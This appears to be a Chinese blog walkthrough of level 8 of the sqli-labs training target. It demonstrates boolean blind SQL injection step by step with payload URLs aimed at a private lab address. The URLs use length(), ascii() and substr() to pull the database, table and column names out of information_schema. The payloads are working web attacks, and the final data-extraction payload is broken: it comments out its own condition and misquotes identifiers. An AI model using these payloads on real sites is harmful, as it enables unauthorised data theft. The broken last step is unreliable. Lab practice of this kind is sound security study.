SQL注入实验——web靶机第八关(布尔型盲注)

  • 判断字符类型(无交互此为字符型)
http://192.168.96.133/sqli-labs-master/Less-8/?id=1%20and%201=2

SQL注入实验——web靶机第八关(布尔型盲注)_第1张图片

  • 判断闭合(此靶机报错不显示任何东西,闭合为‘)
 http://192.168.96.133/sqli-labs-master/Less-8/?id=1%27

SQL注入实验——web靶机第八关(布尔型盲注)_第2张图片

  • 通过length函数判断数据库名长度
  192.168.96.133/sqli-labs-master/Less-8/?id=1' and length(database())>1 --+ //逐渐加1直到显示错误(这里为8)

SQL注入实验——web靶机第八关(布尔型盲注)_第3张图片

  • 通过ascii()和substr()猜测数据库名
192.168.96.133/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+ //通过改变substr()函数的步长和逻辑符后面的数字来猜测数据库名每一个字符的ASCII码值来确定数据库名;(可以通过脚本或工具进行此步骤)

SQL注入实验——web靶机第八关(布尔型盲注)_第4张图片

  • 得到库名之后继续通过ASCII()和substr()函数加上SQL语句进一步猜测数据库中的表名
192.168.96.133/sqli-labs-master/Less-8?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) =101 --+  //通过改变substr()函数的步长和逻辑符后面的数字来猜测表名每一个字符的ASCII码值来确定数据库名;(可以通过脚本或工具进行此步骤)

SQL注入实验——web靶机第八关(布尔型盲注)_第5张图片

  • 进一步猜测列名
  192.168.96.133/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where TABLE_name = 'emails' and table_schema = 'security' limit 0,1),1,1))=105 --+  //和之前一样继续通过ascii码值来猜测列名

SQL注入实验——web靶机第八关(布尔型盲注)_第6张图片

  • 猜测数据
    192.168.96.133/sqli-labs-master/Less-8/?id=1' --+ and ascii(substr((select 'id' from 'emails' limit0,1),1,1)) >1 --+

SQL注入实验——web靶机第八关(布尔型盲注)_第7张图片

你可能感兴趣的:(安全)